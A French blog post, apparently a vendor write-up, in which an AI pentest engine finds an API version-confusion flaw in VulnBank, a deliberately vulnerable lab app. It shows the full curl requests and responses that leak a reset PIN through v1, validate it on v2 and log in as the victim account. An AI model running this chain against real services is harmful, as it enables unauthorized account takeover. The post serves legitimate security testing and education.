Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Le moteur d'IA déclenche une prise de contrôle de compte par confusion de versions d'API

Une analyse méthodique vaut mieux que le fuzzing à l'aveugle : le moteur d'IA d'Ostorlab découvre une faille de réinitialisation de mot de passe entre versions d'API et prend le contrôle d'un compte sans accès à l'e-mail.

Lors d'une démo en direct de notre moteur de pentest par IA, quelqu'un a lancé l'une de ces questions du type « oui, mais est-ce qu'il sait faire ça ? » :

« Pourrait-il vraiment trouver un bug de confusion de versions d'API menant à une prise de contrôle de compte ? »

Nous n'avions pas d'histoire toute prête, alors nous avons pointé le moteur vers la cible vulnérable, ici VulnBank, une application bancaire volontairement vulnérable créée par Al-Amir Badmus, et nous l'avons laissé travailler. Le résultat correspond exactement à ce qu'on espère ne trouver que dans les labos d'entraînement et pas dans des applications en production : une faille de confusion de versions dans la réinitialisation de mot de passe, qui permet de prendre le contrôle de comptes avec un simple nom d'utilisateur.

Voyons ce qui s'est passé.

La mise en place : la v1 est mauvaise, la v2 est bonne… vraiment ?

VulnBank expose des flux de réinitialisation de mot de passe sur deux versions d'API :

  • POST /api/v1/forgot-password
  • POST /api/v2/forgot-password
  • POST /api/v1/reset-password
  • POST /api/v2/reset-password

La spécification OpenAPI dit même ce qui se passe :

  • v1 : « exposition complète des données », debug_info inclut le PIN de réinitialisation à 3 chiffres.
  • v2 : « exposition réduite des données », le PIN n'est pas exposé, debug_info est absent.

Donc sur le papier :

  • v1 = « ancienne, qui fuit, à ne pas utiliser en production ».
  • v2 = « corrigée, récente et bien plus sûre ».

Sauf que les deux versions partagent le même état côté backend : le même stockage de PIN, les mêmes utilisateurs, tout pareil. Et c'est là que ça devient intéressant.

L'approche de l'IA (et pourquoi c'est important)

La plupart des scanners verraient « PIN à 3 chiffres », s'alarmeraient deux secondes sur la faible entropie, puis passeraient aux 500 endpoints suivants.

Le moteur d'IA a fait quelque chose de plus… humain :

1. Analyse de la spécification OpenAPI

Il a récupéré openapi.json, cherché tout ce qui concernait la réinitialisation de mot de passe, et trouvé /api/v{version}/forgot-password et /api/v{version}/reset-password.

2. Repérage des différences de comportement entre versions

La spécification documente littéralement :

  • v1 : debug_info inclut le PIN.
  • v2 : PIN non exposé, debug_info supprimé.

C'est un énorme signal d'alarme : même fonctionnalité, caractéristiques de sécurité différentes, même backend.

3. Formulation d'une hypothèse

« Si les deux versions partagent l'état du backend et que l'une d'elles divulgue le PIN, puis-je lancer la procédure sur la v1 et la valider sur la v2 ? »

4. Test systématique de cette hypothèse

Pas de tempête de fuzzing, pas de « martelons jusqu'à ce que quelque chose casse ». Un petit nombre de requêtes soigneusement choisies, chacune avec un objectif clair.

La différence essentielle tient à la compréhension de l'architecture plutôt que des seuls endpoints : c'est précisément là que le fuzzing traditionnel et un moteur fondé sur le raisonnement se séparent.

Comment le moteur a réellement procédé : la preuve

Voyons l'exécution réelle de l'outil d'IA, les vraies commandes et réponses qui ont prouvé cette vulnérabilité.

Sortie du renseignement sur les risques

L'étape de renseignement sur les risques du moteur a signalé le risque suivant :

Confusion de versions de la réinitialisation de mot de passe entre POST /api/v1/reset-password et POST /api/v2/reset-password : tester les deux versions pour voir si la validation ou l'UX plus faible de la v1 peut être abusée pour piéger des utilisateurs dans des réinitialisations non sécurisées alors que la v2 est plus robuste. Comparer les limites de débit, les durées de vie et formats des jetons, les messages d'erreur, et vérifier si des flux à versions mixtes (initiation sur la v1, validation sur la v2 ou inversement) sont possibles. S'assurer que les anciens endpoints sont retirés ou imposer la parité et des messages clairs aux utilisateurs.

Voici comment le moteur a validé ce risque de manière systématique.

Prompt système : reconnaissance initiale

Récupérer et analyser la spécification OpenAPI pour énumérer les endpoints de réinitialisation de mot de passe.

Action : envoyer exactement une requête GET à https://vulnbank.org/static/openapi.json avec un User-Agent de type navigateur sur HTTP/1.1 keep-alive. Ne pas suivre les redirections ni effectuer d'autre requête dans cette tâche. Garder un débit <5 rps.

Preuves à capturer : enregistrer la requête et la réponse HTTP brutes complètes (statut, en-têtes et corps) pour cette unique récupération.

Objectifs d'analyse (à partir du JSON uniquement, sans autre appel réseau) : énumérer tous les chemins liés à la réinitialisation de mot de passe, y compris l'initiation et la validation/confirmation. Rechercher en particulier : /api/v1/reset-password et /api/v2/reset-password (méthodes, schéma du corps de requête, champs obligatoires comme e-mail/captcha/jetons MFA) ; tout endpoint de confirmation/validation (par ex. /api/v1/reset-password/confirm, /api/v2/reset-password/confirm) ; tout chemin alternatif ou analogue. Pour chaque endpoint découvert, consigner : méthode(s) HTTP, schéma du corps de requête (noms des champs, types, indicateurs d'obligation) et exemples de payloads s'ils existent, codes de réponse et exemples de messages de succès/d'erreur, exigences de sécurité documentées, et toute différence propre à une version entre la v1 et la v2.

Outil utilisé : curl

Arguments :

curl_args: -sS -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" --http1.1 -D - -o - -v https://vulnbank.org/static/openapi.json

Sortie :

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:21:20 GMT
Content-Type: application/json
Content-Length: 44061
Connection: keep-alive
Content-Disposition: inline; filename=openapi.json
Last-Modified: Mon, 13 Oct 2025 18:26:24 GMT
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xGVbpMhRS34xZfjqdwOxLDgRUnOpqgDl7wUbKBP2gRog2Kaj0VPc9IvnPUqyGqCWx5jYshRIuONIdltkxgmILrGXGq0DukPtK3WMDg%3D%3D"}]}
CF-RAY: 99acca323ca1d3b1-FRA
alt-svc: h3=":443"; ma=86400

{
  "openapi": "3.0.0",
  "info": {
    "title": "Vulnerable Bank API",
    "description": "API documentation for the deliberately vulnerable banking application",
    "version": "1.0.0",
    "contact": {
      "name": "Vulnerable Bank Support",
      "url": "https://github.com/Commando-X/vuln-bank"
    }
  },
  "servers": [
    {
      "url": "https://vulnbank.org",
      "description": "Controlled Production Server"
    }
  ],
  "tags": [
    {
      "name": "authentication",
      "description": "Authentication related endpoints"
    },
    {
      "name": "transactions",
      "description": "Transaction management endpoints"
    },
    {
      "name": "users",
      "description": "User management endpoints"
    },
    {
      "name": "admin",
      "description": "Administrative endpoints"
    },
    {
      "name": "virtual-cards",
      "description": "Virtual card management endpoints"
    },
    {
      "name": "bill-payments",
      "description": "Bill payment operations"
    },
    {
      "name": "ai-agent",
      "description": "AI Customer Support Agent (Intentionally Vulnerable)"
    },
    {
      "name": "internal",
      "description": "Internal-only endpoints for SSRF demonstration"
    }
  ],
  ...
}

Résultats de l'analyse du JSON OpenAPI :

Serveurs/URL de base : https://vulnbank.org (description : Controlled Production Server). Tous les endpoints énumérés se trouvent sur l'hôte racine dans le périmètre.

Endpoints liés à la réinitialisation de mot de passe (versionnés via le paramètre de chemin {version} ∈ {1,2}) :

Initiation : /api/v{version}/forgot-password (POST)

Résumé : demande de réinitialisation de mot de passe (versionnée)

Description : génère un PIN de réinitialisation à 3 chiffres. La spécification note des différences d'exposition des données selon la version (v1 plus sensible, v2 moins ; la v2 n'expose pas le PIN dans la réponse).

Paramètres de chemin : version (in: path, obligatoire, entier, enum [1,2], défaut 2)

Corps de requête (application/json, obligatoire) : schéma : objet ; propriétés : username : chaîne ; pas de tableau required[] explicite pour les champs de l'objet (seulement requestBody.required = true globalement)

Réponses : 200 : PIN de réinitialisation généré ; schéma : objet avec les propriétés status (chaîne), message (chaîne), debug_info (objet) ; Note : description de debug_info : « v1 : contient de nombreuses informations sensibles, dont le PIN. v2 : informations moins sensibles, PIN non exposé. » 404 : utilisateur introuvable (indique une énumération possible des utilisateurs via le code de statut ou les messages)

Sécurité : aucun schéma de sécurité spécifié (endpoint public d'après la spécification)

Validation/confirmation : /api/v{version}/reset-password (POST)

Résumé : réinitialiser le mot de passe avec le PIN (versionné)

Description : réinitialise le mot de passe avec le PIN à 3 chiffres. Différences d'exposition des données selon la version (la v1 inclut des informations de débogage sensibles, dont le PIN utilisé ; la v2 non).

Paramètres de chemin : version (in: path, obligatoire, entier, enum [1,2], défaut 2)

Corps de requête (application/json, obligatoire) : schéma : objet ; propriétés : username : chaîne, reset_pin : chaîne (motif : ^\d{3}$), new_password : chaîne ; pas de tableau required[] explicite dans l'objet (seulement requestBody.required = true globalement)

Réponses : 200 : réinitialisation du mot de passe réussie ; schéma : objet : status (chaîne), message (chaîne), debug_info (objet) ; Note : description de debug_info : « v1 : contient des informations de débogage détaillées, dont le PIN utilisé. v2 : absent. » 400 : PIN de réinitialisation invalide

Sécurité : aucun schéma de sécurité spécifié (endpoint public d'après la spécification)

Chemins versionnés concrets déduits du paramètre fictif {version} : POST /api/v1/forgot-password, POST /api/v2/forgot-password, POST /api/v1/reset-password, POST /api/v2/reset-password

Différences documentées selon la version (d'après le texte de la spécification) : v1 (ancienne) expose des debug_info sensibles pouvant inclure le PIN de réinitialisation et d'autres détails. v2 (plus récente) réduit l'exposition des données ; le PIN n'est pas exposé dans les réponses et debug_info est absent lors d'une réinitialisation réussie.

Constat critique : la spécification OpenAPI documente explicitement que la v1 expose debug_info.pin dans les réponses alors que la v2 ne le fait pas, annonçant de fait le chemin de rétrogradation de sécurité.

Phase 1 : attendez, vous avez mis le PIN dans la réponse ?

D'abord, le moteur a testé ce que suggérait la spécification : la v1 divulgue-t-elle réellement le PIN ?

Prompt système : test de divulgation d'informations en v1

Initier une réinitialisation de mot de passe en v1 pour le compte A et capturer toutes les preuves.

Action : envoyer exactement un POST vers https://vulnbank.org/api/v1/forgot-password avec les en-têtes {Content-Type: application/json} et le corps {"username":"testA_vconf_01"}. Garder un débit <5 rps et ne pas réessayer.

Preuves à consigner : requête et réponse HTTP brutes (statut, tous les en-têtes y compris tout en-tête de limitation de débit/CORS/débogage), corps JSON complet.

Résultat attendu : déterminer si la v1 divulgue le PIN de réinitialisation à 3 chiffres via debug_info dans la réponse (consigner le PIN tel quel s'il est présent).

Outil utilisé : curl

Arguments :

curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  -X POST "https://vulnbank.org/api/v1/forgot-password" \
  -H "Content-Type: application/json" \
  --data '{"username":"testA_vconf_01"}' \
  -D - -o -

Sortie :

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:31:12 GMT
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *

{
  "debug_info": {
    "pin": "388",
    "pin_length": 3,
    "timestamp": "2025-11-07 12:22:57.378546",
    "username": "testA_vconf_01"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}

Constat critique : la réponse expose directement le PIN de réinitialisation dans debug_info.pin. Avec un simple nom d'utilisateur, un attaquant peut récupérer le PIN sans toucher à la messagerie de la victime.

La politique CORS générique aggrave le problème : n'importe quel site web peut déclencher cette requête et lire la réponse. Même sans la fuite, l'espace de PIN à 3 chiffres (000-999) se force trivialement par brute force. La réponse confirme aussi les noms d'utilisateur valides, ce qui permet des attaques d'énumération.

Donc :

  • Le PIN de réinitialisation à 3 chiffres est là, dans debug_info.pin.
  • Nous n'avions besoin que du nom d'utilisateur.
  • L'API est totalement ouverte en CORS (Access-Control-Allow-Origin: *), donc n'importe quel site malveillant peut déclencher cette requête depuis le navigateur de la victime et relire le PIN en JavaScript.

Pas d'accès à la messagerie, pas de lien de phishing, pas d'interaction de l'utilisateur au-delà d'être connecté et de visiter une page malveillante. Cela constitue déjà, à lui seul, un chemin sérieux de prise de contrôle de compte.

Phase 2 : valider le PIN de la v1 pour prendre le contrôle du compte

Prompt système : confirmer l'exploitabilité

Valider le PIN de réinitialisation v1 pour le compte A afin de vérifier l'exploitabilité de la fuite du PIN en v1.

Action : envoyer exactement un POST vers https://vulnbank.org/api/v1/reset-password avec le corps : {"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}. Une seule tentative.

Résultat attendu : confirmer que le PIN v1 divulgué permet de réinitialiser le mot de passe du compte A, démontrant une prise de contrôle de compte (ATO) concrète.

Outil utilisé : curl

Arguments :

curl -sS -i --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -X POST "https://vulnbank.org/api/v1/reset-password" \
  -H "Content-Type: application/json" \
  -H "Connection: keep-alive" \
  --data '{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}'

Sortie :

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:33:27 GMT
Content-Type: application/json
Content-Length: 243
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Q%2BcQ5yGSX6r8390cSNwy9wykYa2YMUpMBvBph5sOKgLcMUjnVsMc2nVsujuibpoQ16DME9mFqO%2FIkNXrjGIWpEMPxMbhGeRNrdCFZg%3D%3D"}]}
CF-RAY: 99acdbf43a805d49-FRA
alt-svc: h3=":443"; ma=86400

{
  "debug_info": {
    "reset_pin_used": "388",
    "reset_success": true,
    "timestamp": "2025-11-07 12:25:12.976952",
    "username": "testA_vconf_01"
  },
  "message": "Password has been reset successfully",
  "status": "success"
}

La réinitialisation du mot de passe réussit. La v1 accepte le PIN divulgué et change le mot de passe sans aucune vérification par e-mail. La réponse confirme l'opération avec reset_success: true et renvoie même le PIN dans debug_info.reset_pin_used.

À ce stade, nous avons prouvé que la v1 seule est exploitable. Nom d'utilisateur plus PIN divulgué égale prise de contrôle de compte. Mais la question intéressante est de savoir si la v2 souffre de la même faille.

Phase 3 : tester l'acceptation entre versions (la découverte décisive)

Prompt système : tester la confusion de versions

Tester si l'endpoint de validation de la v2 accepte les PIN émis par la v1, ce qui indiquerait un état backend partagé sans contrôle de la frontière entre versions.

Séquence de test : 1. Initier la réinitialisation de mot de passe en v1 pour testB_vconf_01 (obtenir le PIN divulgué) 2. Tenter de valider le PIN émis par la v1 via l'endpoint de validation de la v2

Hypothèse : en cas de succès, les attaquants peuvent exploiter la fuite de la v1 tout en utilisant l'interface de la v2, contournant tout durcissement côté client.

Étape 1 : initier la réinitialisation v1 pour le compte B

Outil utilisé : curl

Arguments :

curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -X POST "https://vulnbank.org/api/v1/forgot-password" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -H "Connection: keep-alive" \
  --data '{"username":"testB_vconf_01"}' \
  -D - -o -

Sortie :

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:40:12 GMT
Content-Type: application/json
Content-Length: 228
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=G7Kqftl8cVngY46mK76PSPR8TjpqT%2Fdjc5KTJ%2BaaDXEBmeb%2BEBenfdKUF4LZAojIiaIYWKXhIDEFvlNoZZmSysyWGYbPIqAMpczTFg%3D%3D"}]}
CF-RAY: 99ace5d8da6ebb1b-CDG
alt-svc: h3=":443"; ma=86400

{
  "debug_info": {
    "pin": "223",
    "pin_length": 3,
    "timestamp": "2025-11-07 12:31:58.190715",
    "username": "testB_vconf_01"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}

PIN v1 extrait : 223

Étape 2 : valider le PIN v1 via l'endpoint v2 (attaque entre versions)

Outil utilisé : curl

Arguments :

curl -sS --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -X POST "https://vulnbank.org/api/v2/reset-password" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -H "Connection: keep-alive" \
  --data '{"username":"testB_vconf_01","reset_pin":"223","new_password":"Tmp!Pass#B1"}' \
  -D - -o -

Sortie :

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:41:22 GMT
Content-Type: application/json
Content-Length: 80
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tPZNfCsblxfbMaoEi50%2FYgP3Dyl3NXIbm%2FbExP7sBEAqmaahb0wZhEUNXtqSGlS1dimQC06PrhN%2BgHA%2BKD2x966EbFFP1Y1DMarIuw%3D%3D"}]}
CF-RAY: 99ace78c3af0924d-FRA
alt-svc: h3=":443"; ma=86400

{
  "message": "Password has been reset successfully",
  "status": "success"
}

La v2 accepte le PIN. Bien qu'elle ait été conçue pour corriger la fuite de données de la v1, l'endpoint de réinitialisation de la v2 traite toujours les PIN émis par la v1. La chaîne d'attaque est maintenant complète : demander une réinitialisation via la v1 pour divulguer le PIN, puis le valider via la v2 pour contourner toute protection côté client.

C'est le problème central des vulnérabilités de confusion de versions. Les deux versions d'API partagent le même stockage de PIN côté backend, mais appliquent des contrôles de sécurité différents. Les attaquants peuvent trivialement panacher : utiliser la v1 là où elle est faible, la v2 là où elle est solide. Le versionnement crée l'illusion de frontières de sécurité qui n'existent pas dans l'implémentation.

Phase 4 : vérification, preuve complète de la prise de contrôle du compte

Prompt système : vérifier la prise de contrôle du compte

Vérifier que la validation en versions mixtes pour le compte B a pris effet en se connectant avec le nouveau mot de passe défini via la v2.

Action : envoyer exactement un POST vers https://vulnbank.org/login avec les en-têtes : Content-Type: application/json ; un User-Agent de type navigateur ; Connection: keep-alive. Corps JSON : {"username":"testB_vconf_01","password":"Tmp!Pass#B1"}. Garder <5 rps ; une seule tentative.

Preuves à capturer telles quelles : requête HTTP brute complète et réponse HTTP brute complète (statut, tous les en-têtes y compris tout Set-Cookie et Access-Control-Allow-*, et corps JSON complet).

Résultat attendu : une connexion confirmée (200 succès avec un jeton valide) démontre que l'acceptation d'un PIN v1 par la v2 a entraîné un changement réel de mot de passe. En cas de succès, extraire le jeton, identifier s'il s'agit d'un JWT et décoder localement l'en-tête et le payload pour confirmer que les claims correspondent au compte B.

Outil utilisé : curl

Arguments :

curl -sS --http1.1 -i -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -H "Content-Type: application/json" \
  -H "Connection: keep-alive" \
  -X POST "https://vulnbank.org/login" \
  --data '{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}'

Sortie :

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:43:06 GMT
Content-Type: application/json
Content-Length: 501
Connection: keep-alive
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VbrIMCsVFv4mkFtw%2FZPjNJMVtH8dELhrPGiY3jiVR6fT7G63HAaGXj%2B3P5z8zGS9gNRqqnzvka7L5cQ%2FSATUkkY87SWWVqM0KJntZA%3D%3D"}]}
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0; HttpOnly; Path=/
CF-RAY: 99acea17dacb6f99-CDG
alt-svc: h3=":443"; ma=86400

{
  "accountNumber": "6235161082",
  "debug_info": {
    "account_number": "6235161082",
    "is_admin": false,
    "login_time": "2025-11-07 12:34:52.147690",
    "user_id": 46,
    "username": "testB_vconf_01"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0"
}

Analyse du jeton : format du jeton : JWT (trois segments base64url). En-tête décodé : {"typ":"JWT","alg":"HS256"}. Payload décodé : {"user_id":46,"username":"testB_vconf_01","is_admin":false,"iat":1762518892}. Les claims correspondent : compte B (user_id 46, username testB_vconf_01).

La connexion réussit. Le mot de passe a bien été changé via l'attaque entre versions, et le JWT confirme que nous contrôlons désormais le compte.

L'attaque complète ne nécessite qu'un nom d'utilisateur. Pas d'accès à la messagerie, pas d'interaction de l'utilisateur, pas de brute force. Demander la réinitialisation sur la v1, extraire le PIN de la réponse, le valider sur la v2, s'authentifier. Quatre requêtes HTTP, moins de 30 minutes de test.

Coût net de l'attaque :

  • Données nécessaires : le nom d'utilisateur seul.
  • Interaction de l'utilisateur : aucune.
  • Requêtes :
  • v1 forgot‑password → divulgation du PIN
  • v2 reset‑password → définition du mot de passe
  • login → vérification de la prise de contrôle
  • Durée : trouvé en moins de 30 minutes de sondage ciblé.

Pourquoi cela arrive : des frontières de confiance fondées sur la convention de nommage

Le problème de fond n'est pas seulement « vous avez divulgué un PIN » (même si c'est grave). C'est le modèle mental que les équipes se font du versionnement d'API :

  • v1 : « du vieux code, un peu douteux ».
  • v2 : « corrigée et sûre ».

Mais en réalité :

  • Les deux versions s'appuient sur le même stockage de PIN.
  • Les deux versions gèrent les mêmes comptes utilisateurs.
  • Une seule version a reçu le correctif de sécurité.

Vous avez donc créé ce qui ressemble à une frontière de sécurité (« utilisez la v2, c'est plus sûr ») sans réellement modifier la frontière de confiance en profondeur.

Voici le schéma plus général :

  • Plusieurs versions d'un flux sensible pour la sécurité (réinitialisation de mot de passe, MFA, jetons, sessions).
  • Une version est renforcée ; l'ancienne subsiste, parfois « pour la compatibilité ».
  • Les deux partagent l'état du backend.
  • Les attaquants panachent : les points faibles de la v1, les points pratiques de la v2.

La spécification OpenAPI de cet exemple annonce même le chemin de rétrogradation :

  • « v1 : debug_info inclut le PIN »
  • « v2 : aucune exposition du PIN »

Si vous publiez cela sans séparer strictement les comportements côté backend, vous livrez en réalité votre propre manuel d'attaque.

Pourquoi le fuzzing seul passe souvent à côté

Les scanners traditionnels ont tendance à :

  • Bombarder les endpoints de payloads.
  • Signaler les problèmes faciles à trouver (entropie faible, absence d'authentification, etc.).
  • Traiter chaque endpoint presque isolément.

Ce bug ne reposait pas sur :

  • Un problème d'analyseur dans un cas limite exotique,
  • Un gadget d'HTTP smuggling bizarre,
  • Ou quelque chose de reproductible uniquement avec 6 proxys et un sacrifice de chèvre.

Il reposait sur des relations :

  • Même utilisateur.
  • Même PIN.
  • Deux versions du même flux avec des garanties différentes.

Le moteur d'IA l'a trouvé en :

  1. Lisant la spécification OpenAPI comme le ferait un humain.
  2. Repérant que la v1 et la v2 se comportent différemment en matière de sécurité.
  3. Se demandant « Partagent-elles leur état ? », puis en prouvant que oui.

Si votre stratégie de test ne raisonne pas sur les flux entre versions, ces bugs resteront tranquillement à la vue de tous.

La méta-leçon : le raisonnement ciblé bat le martelage à l'aveugle

Tout ce bug est sorti d'un raisonnement simple :

  1. La spécification dit qu'il y a 2 versions.
  2. La spécification dit qu'elles se comportent différemment en matière de sécurité.
  3. Les jetons semblent partagés.
  4. Essayer de les mélanger.

Pas de gigantesques wordlists. Pas d'heures de fuzzing. Juste de la compréhension et une poignée de requêtes HTTP bien choisies.

Si vous construisez ou testez des API à n'importe quelle échelle, vous voulez ce type de raisonnement, humain ou machine, de votre côté.